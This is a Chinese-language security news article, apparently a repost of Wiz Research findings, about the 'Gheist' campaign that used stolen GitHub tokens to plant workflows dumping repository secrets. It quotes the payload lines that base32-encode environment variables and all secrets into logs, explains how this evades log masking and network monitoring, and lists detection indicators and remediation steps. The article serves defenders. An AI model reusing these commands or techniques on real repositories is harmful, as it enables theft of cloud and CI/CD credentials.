新闻
News Today
Gheist行动:利用GitHub Actions窃取超1.3万分支密钥的深层分析
10月25日,Wiz研究员Rami McCarthy和Hila Ramati披露代号为“Gheist”的网络攻击行动。数据显示,自9月15日至10月24日,攻击者利用被盗的850多个GitHub账号(涵盖个人项目至大型企业私有仓库),回收了超过13,500个被植入恶意代码的分支。
攻击手法:极简代码绕过安全检测
该攻击手段极为隐蔽且高效。攻击者利用具有写权限的令牌,向仓库推送包含恶意工作流(Workflow)的代码,触发Action运行以打印密钥日志,随后通过API下载日志并迅速删除运行记录。
核心恶意代码仅十余行,关键部分如下:
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120
上述代码将环境变量及所有Secrets进行Base32编码后输出至日志。此举能成功规避检测,主要基于以下三个技术盲点:
1. 编码绕过密钥掩码:GitHub仅对原样出现的密钥进行日志遮罩。经过Base32编码后的字符串与原始值不匹配,导致掩码机制失效,敏感信息以明文形式留存于日志中。
2. 权限配置误区:即使工作流设置了permissions: {}限制了GITHUB_TOKEN,该配置并不影响对Secrets上下文的访问。攻击目标并非Token,而是直接暴露的Secrets。
3. 部署环境枚举:工具利用Job Matrix遍历所有部署环境(environment: ${{ matrix.environment }}),从而提取绑定在特定环境(通常是生产环境)的高权限凭据。
更为严峻的是数据出口路径。密钥通过GitHub官方API传出,无需建立C2连接或访问恶意域名,使得防火墙、代理及DNS流量检测完全失效。
防御缺口:审批机制的覆盖局限
GitHub于7月28日上线了针对可疑工作流的“挂起待批”功能。Wiz监测显示,所有公共仓库中的Gheist运行(包括针对自托管Runner的版本)均被拦截在action_required状态,未实际执行Payload。
然而,该防护机制仅适用于github.com上的公共仓库,私有仓库及GitHub Enterprise Server (GHES)并未纳入保护范围。审计日志证实,在私有库和GHES环境中,带有ci-sync-*前缀的分支运行正常完成,随后被标识为gheist的User Agent清除记录。
攻击演进与横向移动
在企业环境中,攻击者在获取初始访问权限后,迅速轮换用户及自动化账号令牌,克隆私有仓库并植入工作流。数小时内,利用窃取的云凭据枚举AWS Secrets Manager。CloudTrail日志显示,相关组织的工作流在这些分支上成功执行并Assume了AWS角色,表明Actions未经审批即被执行。
检测线索明确:无需依赖GitHub日志,只需在云审计日志中检索Subject包含ci-sync-分支的角色假设或Token交换记录即可反向追踪。
攻击工具持续迭代,目前存在两个并行版本:
- A版:使用十六进制编码,Payload保持原始状态。
- B版:使用Base36编码,增加了超时设置及环境矩阵。后续版本在日志Dump间插入分隔符以优化解析,并针对自托管Runner推出
sync-host作业。
sync-host作业旨在扫描Runner主机目录、系统路径及Docker挂载文件系统,搜寻包括AI厂商Key、私钥、Terraform状态文件及Kubernetes Service Account Token在内的31种令牌格式。尽管该模块存在部分Bug,但其意图表明攻击者正试图从CI/CD基础设施横向渗透至宿主环境。
溯源与关联威胁
泄露令牌的来源可追溯至信息窃取木马及供应链事件(如3月的Trivy事件)。部分受损账号还被用于传播破解软件、滥用Actions算力(创建"Windows RDP Runner"仓库),或与朝鲜相关的PolinRider木马及5月Megalodon事件的受害者重合。
应急响应与修复建议
若发现特征匹配的分支(名称符合^ci-sync-[0-9a-z]{6}$,单次提交,消息为ci: sync config,添加.github/workflows/sync-check.yml文件,无签名),应立即采取以下措施:
- 全面轮换凭据:删除分支和运行记录无法撤回已泄露的密钥。必须轮换该仓库可访问的所有层级(仓库级、组织级、环境级)Secrets,并吊销相关令牌。
- 终端排查:检查提交者机器是否感染信息窃取木马。
- 隔离Runner:若自托管Runner执行过
sync-host,应将主机及其实例角色视为已失陷进行处理。查找.gdmp_pat等特定文件及日志中的gdmp-pivot标识。 - 谨慎审批:对于处于挂起状态的
sync-check运行,严禁点击批准。
结语:重新审视CI/CD安全边界
Gheist行动揭示了传统安全措施的局限性:密钥保险柜、分支保护及出站白名单均被绕过。攻击者仅需持有合法凭据,即可利用平台自身功能“合法”导出数据。
在2026年的安全态势下,开发机中毒可能导致整个云账号沦陷。虽然平台的审批机制证明了其价值,但其覆盖范围的缺失不容忽视。企业应将安全重心回归至令牌管理与开发终端防护,切勿将平台侧的非全覆盖功能作为唯一防线。
来源:Wiz Research
本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理!

